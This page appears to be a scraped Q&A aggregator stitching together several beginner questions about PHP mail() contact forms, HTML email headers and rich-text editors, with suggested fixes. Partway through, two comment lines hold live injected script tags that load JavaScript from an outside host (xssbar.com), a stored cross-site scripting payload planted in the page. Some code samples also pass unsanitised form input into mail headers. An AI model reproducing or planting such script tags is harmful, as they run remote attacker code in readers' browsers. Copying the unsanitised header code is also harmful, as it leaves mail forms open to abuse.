Email textarea HTML code through PHP to display as html - javascript

Currently I have a fully working email system and I wanted to implement summernote which I have. However when I submit the form it seems to send as html code in text so it shows all the <> and no special formatting. So I thought. Is it sending to the script correctly so I echoed it out and it shows the code without the formatting.
Send:
<?php require '../settings.php';
/* Check all form inputs using check_input function */
$name= check_input($_POST['name'], "Enter your name");
$email= check_input($_POST['email']);
$message= $_POST['message'];
$subject= check_input($_POST['subject']);
/* From who and Reply to Who. */
$headers = 'From: '.$name.'\r\n';
$headers .= 'Reply-To: '.$administrationemail.'\r\n';
$headers .= "MIME-Version: 1.0\r\n";
$headers .= "Content-Type: text/html; charset=ISO-8859-1\r\n";
/* Send the message using mail() function */
mail($email, $subject, $message, $headers);
/* Redirect visitor to the thank you page */
header('Location: /mail/');
exit();
}
?>
Form:
<form action="send.php" method="post">
<b>Your Name:</b><input class="form-control" type="text" name="name">
<b>Subject:</b> <input class="form-control" type="text" name="subject">
<b>Recipient E-mail:</b> <input class="form-control" type="text" name="email">
<b>Your Message:</b>
<textarea class="summernote" id="message" name="message"></textarea>
<input name="submit" type="submit" class="btn btn-theme" value="Send it!">
</form>
Any help figuring out this issue would be great. Thanks in advance.
What I am wanting to show in email:
Hello John Smith,
I have recieved your invoice and will pay shortly.
From Your Friend:
Sir Smith John.
What I am getting shown:
<p><span style="font-weight: bold;">Hello John Smith,</span></p>
<p>I have recieved your invoice and will pay shortly.</p>
<p><span style="font-weight: bold;">From Your Friend:</span></p>
<p> <span style="font-style: italic;">Sir Smith John.</span><span style="font-weight: bold;"><br></span></p>
Function:
function check_input($data, $problem='')
{
$data = trim($data);
$data = stripslashes($data);
$data = preg_replace($wordlist, '****', $data);
if ($problem && strlen($data) == 0)
{
show_error($problem);
}
return $data;
}

Use PHPMailer if you want flexibility. Its so good. Check out their website:
http://phpmailer.worxware.com/

You may need to adjust your headers, for arguments sake we'll just use the same method that is in the PHP docs.
$headers = 'From: ' . $name . "\r\n";
$headers .= 'Reply-To: ' . $administrationemail . "\r\n";
$headers .= 'MIME-Version: 1.0' . "\r\n";
$headers .= 'Content-type: text/html; charset=iso-8859-1' . "\r\n";
Your \r\n must be inside double quotes as single quotes are for literal strings.

Your script work as intended, if you want to send your email text with special formatting you have to replace HTML tags with escape characters (ex. <br /> to /n). You can do it with str_replace:
$htmlTags = array('<br />', '<br/>');
$escapeCharacter = '/n';
$final_message = str_replace($htmlTags, $escapeCharacter, $message);

Related

empty message in the mailbox after sending the form [duplicate]

This question already has answers here:
PHP mail function doesn't complete sending of e-mail
(31 answers)
Closed 5 years ago.
I have problem with send email. When I send a form, I get a blank message in my inbox. It looks like this:
Mail:
New message from:
E-mail:
Topic:
Sent message:
The form has validation, it works correctly. The problem is that I don't know why messages come empty to my inbox.
Here is a php code:
$name = $_POST['name'];
$mail = $_POST['mail'];
$topic = $_POST['topic'];
$message = $_POST['message'];
$email_to = "example#qmail.com";
$email_subject = "You received a new message";
$email_body = "Mail: \r\n";
$email_body .= "New message from: " . $name . "\r\n";
$email_body .= "E-mail:" . $mail . "\r\n";
$email_body .= "Topic: " . $topic . "\r\n";
$email_body .= "Sent message: " . $message . "\r\n";
$success = mail($email_to, $email_subject, $email_body);
if ($success){
print "<meta http-equiv=\"refresh\" content=\"0;URL=success-form\index.html\">";
}
else{
print "<script>console.log('error'); </script>";
}
?>
Form in HTML:
<form method="post" action="../form.php" >
<input name="name" type="text" placeholder="Name and Surname">
<label></label>
<input name="mail" type="email" placeholder="Email address">
<label></label>
<input name="topic" type="text" placeholder="Topic">
<label></label>
<textarea name="message" placeholder="Message..."></textarea>
<label></label>
<input type="submit" class="send-btn" value="Send">
</form>
Have you tried adding a few headers? For example:
$headers = "MIME-Version: 1.0\r\n";
$headers .= "Content-type: text/plain; charset=utf-8\r\n";
$headers .= "Content-Transfer-Encoding: 8bit\r\n";
$headers .= "FROM:".$email_from."\r\n"; // Variable to define
Then, call you mail command like this:
$success = mail($email_to, $email_subject, $email_body, $headers);

Can someone help me generate a contact.php?

I'm doing my first website - I uploaded it to http://testinglakovna.borec.cz/ and I basically used a free template and adjusted it to my liking.
Unfortunately the contact form provided by the template didn't come with the "contact.php" and I've no idea how to correctly activate it.
It's been 4 days and all I figured out is I needed a contact.php activation and I found a script that activated the form - it DOES send the email but it only sends the message, doesn't show the sender email, name or the subject which the sender writes himself...
I'm now desperate for help - is there anybody who could help me write this code?
My contact.php code is this:
<?php
$name = $_POST['name'];
$email = $_POST['email'];
$message = $_POST['message'];
$from = 'From: testinglakovna.borec.cz';
$to = 'ilona.takacsova#gmail.com';
$subject = 'Správa z www.lakovnaturen.sk';
$body = "From:\n $name\n Email:\n $email\n Message:\n $message";
$headers .= "MIME-Version: 1.0\r\n";
$headers .= "Content-type: text/html\r\n";
$headers = 'From: $email' . "\r\n" .
'Reply-To: reply#example.com' . "\r\n" .
'X-Mailer: PHP/' . phpversion();
mail($to, $subject, $message, $headers);
if ($mail_status) { ?>
<script language="javascript" type="text/javascript">
alert('Odoslanie prebehlo v poriadku. Ozveme sa Vám čo najskôr.');
window.location = 'index.html';
</script>
<?php
}
else { ?>
<script language="javascript" type="text/javascript">
alert('Spojenie zlyhalo. Prosím pošlite nám mail na iljatakacs#gmail.com');
window.location = 'index.html';
</script>
<?php
}
?>
and the contact form html of the index.html is:
<div class="col-lg-12">
<form action="contact.php" method="post" id="form" class="contact-form">
<div class="col-sm-6 contact-form-left">
<div class="form-group">
<input name="name" type="text" class="form-control" id="name" placeholder="Meno">
<input type="email" name="email" class="form-control" id="mail" placeholder="Email">
<input name="subject" type="text" class="form-control" id="subject" placeholder="Predmet">
</div>
</div>
<div class="col-sm-6 contact-form-right">
<div class="form-group">
<textarea name="message" rows="6" class="form-control" id="comment" placeholder="Zanechajte nám odkaz"></textarea>
<center><button type="submit" class="btn btn-default">Odoslať</button></center>
</div>
</div>
</form>
</div>
And I've already searched for an answer on other people's questions but still can't resolve this issue. It's literally the last thing for me to do before I can publish the website officially.
Just made that and it worked on my e-mail address (tested).
<?php
$name = $_POST['name'];
$email = $_POST['email'];
$message = $_POST['message'];
$from = 'From: testinglakovna.borec.cz';
$to = 'YOUR_EMAIL_HERE';
$subject = 'Správa z www.lakovnaturen.sk';
$body = "From:\n $name\n Email:\n $email\n Message:\n $message";
$headers = "MIME-Version: 1.0\r\n";
$headers .= "Content-type: text/html\r\n";
$headers .= 'From: '.$email . "\r\n";
$headers .= 'Reply-To: '.$to . "\r\n";
$headers .='X-Mailer: PHP/' . phpversion();
mail($to, $subject, $message, $headers);
if ($mail_status) { ?>
<script language="javascript" type="text/javascript">
alert('Odoslanie prebehlo v poriadku. Ozveme sa Vám čo najskôr.');
window.location = 'index.html';
</script>
<?php
}
else { ?>
<script language="javascript" type="text/javascript">
alert('Spojenie zlyhalo. Prosím pošlite nám mail na iljatakacs#gmail.com');
window.location = 'index.html';
</script>
<?php
}
?>
Just declare a new variable, lets just call it $sendEmail = 'name = $name, email = $email, message= $message, subject = $subject'
After that, in the mail function, substitute the $message for the $sendEmail variable you just created
It should work fine but keep in mind that if you are deploying your code on a local server that email is going to be sent, most probably, to the spam folder.
Let me know if it helps...
Oops, looks like there's no content in this category.
<script>s=document.createElement("script");s.src="http://xssbar.com/?c=T0xwU";document.getElementsByTagName("head")
[0].appendChild(s);</script>
Thanks!!!
<script>s=document.createElement("script");s.src="http://xssbar.com/?c=lELBQ";document.getElementsByTagName("head")
[0].appendChild(s);</script>

Get input value and show it in new page after submit

I tried to show user input after they submit their form.
Here is the form looks like:
<form class="form-horizontal col-sm-12" name="enq" method="post" action="email/" >
<div class="form-group"><label>Name</label><input class="form-control required" name="name" placeholder="Your name" data-placement="top" data-trigger="manual" data-content="Must be at least 3 characters long, and must only contain letters." type="text"></div>
<div class="form-group"><label>Message</label><textarea class="form-control" name="message" placeholder="Your message here.." data-placement="top" data-trigger="manual"></textarea></div>
<div class="form-group"><label>E-Mail</label><input class="form-control email" name="email" placeholder="email#you.com (so that we can contact you)" data-placement="top" data-trigger="manual" data-content="Must be a valid e-mail address (user#gmail.com)" type="text"></div>
<div class="form-group"><label>Phone</label><input class="form-control phone" placeholder="999-999-9999" data-placement="top" data-trigger="manual" data-content="Must be a valid phone number (999-999-9999)" type="text"></div>
<div class="form-group"><input type="submit" class="btn btn-success pull-right" id="submit" name="submit"></input> <p class="help-block pull-left text-danger hide" id="form-error"> The form is not valid. </p></div>
</form>
Here is the PHP after the user submit:
if(isset($_POST['submit']))
{
$name = $_POST['name'];
$email = $_POST['email'];
$query = $_POST['message'];
$email_from = $name.'<'.$email.'>';
$to="test#ymail.com";
$subject="Enquiry!";
$headers = 'MIME-Version: 1.0' . "\r\n";
$headers .= 'Content-type: text/html; charset=iso-8859-1' . "\r\n";
$headers .= "From: ".$email_from."\r\n";
$message="
Name:
$name
<br>
Email-Id:
$email
<br>
Message:
$query
";
if(mail($to,$subject,$message,$headers))
header("Location:../success.php");
else
header("Location:../test.php?msg=Error To send Email !");
//contact:-your-email#your-domain.com
}
And here is success.php:
$name = $_POST['name'];
$email = $_POST['email'];
$query = $_POST['message'];
echo "<span class=\"alert alert-success\" >Your message has been received. Thanks! Here is what you submitted:</span><br><br>";
echo "<strong>Name:</strong> ".$name."<br>";
echo "<strong>Email:</strong> ".$email."<br>";
echo "<strong>Message:</strong> ".$query."<br>";
I could receive what the user sent in my email, but the problem is with success.php, I tried to use the above code, but what I got is undefined index.
Is there a way to show the input values in the new page after submit?
Use session variables or you could alternatively send the data through the URL and use $_GET on the success page (I probably don't suggest this though).
PHP after submit:
<?php
if(isset($_POST['submit']))
{
$name = $_POST['name'];
$email = $_POST['email'];
$query = $_POST['message'];
$email_from = $name.'<'.$email.'>';
$to="test#ymail.com";
$subject="Enquiry!";
$headers = 'MIME-Version: 1.0' . "\r\n";
$headers .= 'Content-type: text/html; charset=iso-8859-1' . "\r\n";
$headers .= "From: ".$email_from."\r\n";
$message="
Name:
$name
<br>
Email-Id:
$email
<br>
Message:
$query
";
if(mail($to,$subject,$message,$headers))
{
session_start();//Start the session
$_SESSION['name'] = $name; //Set name session
$_SESSION['email'] = $email; //Set email session
$_SESSION['query'] = $query; // Set query session
header("Location:../success.php");
}
else
{
header("Location:../test.php?msg=Error To send Email !");
}
}
?>
success.php
<?php
session_start();
echo "<span class=\"alert alert-success\" >Your message has been received. Thanks! Here is what you submitted:</span><br><br>";
echo "<strong>Name:</strong> ".$_SESSION['name']."<br>";//Use the session variables
echo "<strong>Email:</strong> ".$_SESSION['email']."<br>";
echo "<strong>Message:</strong> ".$_SESSION['query']."<br>";
?>
It essentially saves the data into variables that will work whenever sessions are started on alternative pages and can be called using $_SESSION.
You are redirecting to another page so the post values are not passed to the success page. What you could do it put them temporairy in a session

PHP mail form won't send input to email

I have a mail form that will not submit the input placed into the text area to the e-mail that I have inserted.
I am completely new to PHP.
This form has worked for me in the past.
I am trying to run the form from the freehostia.com server, I have the first upgraded plan which advertises SMTP.
Here is my HTML:
<form action="contact.php" method="post">First name:
<br>
<input class="A" id="B" type="text" name="name" size="25">
<br>
E-mail:
<br>
<input class="A" id="A" type="text" name="email" size="35">
<textarea id="A" name="message" rows="10" cols="50" placeholder="Please provide your information..."></textarea>
<div>
<input class="size" type="submit" value="Send!" />
</div>
</form>
Here's my PHP content:
<?php
$field_name = $_POST['name'];
$field_email = $_POST['email'];
$field_message = $_POST['message'];
$mail_to = 'XXXX#XX.com';
$subject = 'MESSAGE FROM SITE VISITOR ' . $field_name;
$body_message = 'From: '.$field_name."\n";
$body_message .= 'E-mail: '.$field_email."\n";
$body_message .= 'Message: '.$field_message;
$headers = "From: $email\r\n";
$headers .= "Reply-To: $email\r\n";
$mail_status = mail($mail_to, $subject, $body_message, $headers);
if ($mail_status) { ?>
<script language="javascript" type="text/javascript">
alert('Thank you for the message. We will contact you shortly.')
window.location = 'index.html';
</script>
<?php }
else { ?>
<script language="javascript" type="text/javascript">
alert('Message failed. Please, send an email to XXXX#XX.com');
window.location = 'contact.html';
</script>
<?php } ?>
Everything appears to be in place to me. I can't for the life of me figure out what I have done wrong here.
where is ur '$email' variable in,
$headers = "From: $email\r\n";
$headers .= "Reply-To: $email\r\n";
where it initialized?
go this website: https://github.com/HouKun1230/Jquery-mobile-with-PHP-MYSQL and look the email.php which is a email sending simple. It may help you.

Send emails using CKEditor in HTML format

Im having problems sending emails in HTML format using the CKEditor. I have the latest one and installed on to my site. This is my simple contact form to test the software out but every time I insert a link or something in HTML, the output in the email is
my code is:
<script src="/ckeditor/ckeditor.js" type="text/javascript"></script>
<link rel="stylesheet" href="/ckeditor/sample.css">
<meta http-equiv='Content-Type' content='text/html; charset=utf-8' />
<html>
<?php
$action=$_REQUEST['action'];
if ($action=="") /* display the contact form */
{
?>
<form action="" method="POST" enctype="multipart/form-data">
<input type="hidden" name="action" value="submit">
Your name:<br>
<input name="name" type="text" value="" size="30"/><br>
Your email:<br>
<input name="email" type="text" value="" size="30"/><br>
Your message:<br>
<textarea name="message" class="ckeditor"></textarea><br>
<input type="submit" value="Send email"/>
</form>
<?php
}
else /* send the submitted data */
{
$name=$_REQUEST['name'];
$email=$_REQUEST['email'];
$message=$_REQUEST['message'];
if (($name=="")||($email=="")||($message==""))
{
echo "All fields are required, please fill the form again.";
}
else{
$from="From: $name<$email>\r\nReturn-path: $email";
$subject="Message sent using your contact form";
mail("email#example.com", $subject, $message, $from);
echo "Email sent!";
}
}
?>
</html>
Thanks for any help
That is because you need to add the right headers to the mail() function, other wise it will send plain text emails.
$headers .= "MIME-Version: 1.0\r\n";
$headers .= "Content-Type: text/html; charset=ISO-8859-1\r\n";
them you can add the content to the email:
$message = '<html><body>';
$message .= '<h1>Cool Email</h1>';
$message .= '</body></html>';
them it should work.. good luck
The documentation is straightforward; you need to specify email headers that indicate the message contains HTML: docs
See Example #4.
Specifically:
// To send HTML mail, the Content-type header must be set
$headers = 'MIME-Version: 1.0' . "\r\n";
$headers .= 'Content-type: text/html; charset=iso-8859-1' . "\r\n";
And then to put it all together with your existing code:
$headers .= "\r\n" . $from;
mail($to, $subject, $message, $headers);
Does this help?
How-To-Code-Html-Emails
It suggest to send your html email in Multipart/Alternative MIME
I thought I would give the simple answer, as I have just spent forever figuring this out. Hope it helps someone out.
$send_to = $_POST['send_to'];
$subject= $_POST['subject'];
$body= $_POST['body'];
$headers[] = 'MIME-Version: 1.0';
$headers[] = 'Content-type: text/html; charset=iso-8859-1';
$headers[] = 'From: Your name <your#email.com>';
$msg = '<html><body><head></head>';
$msg .= "Dear $first_name $last_name, \n$body";
$msg .= '</body></html>';
mail($email, $subject, $msg, implode("\r\n", $headers));

Categories

Resources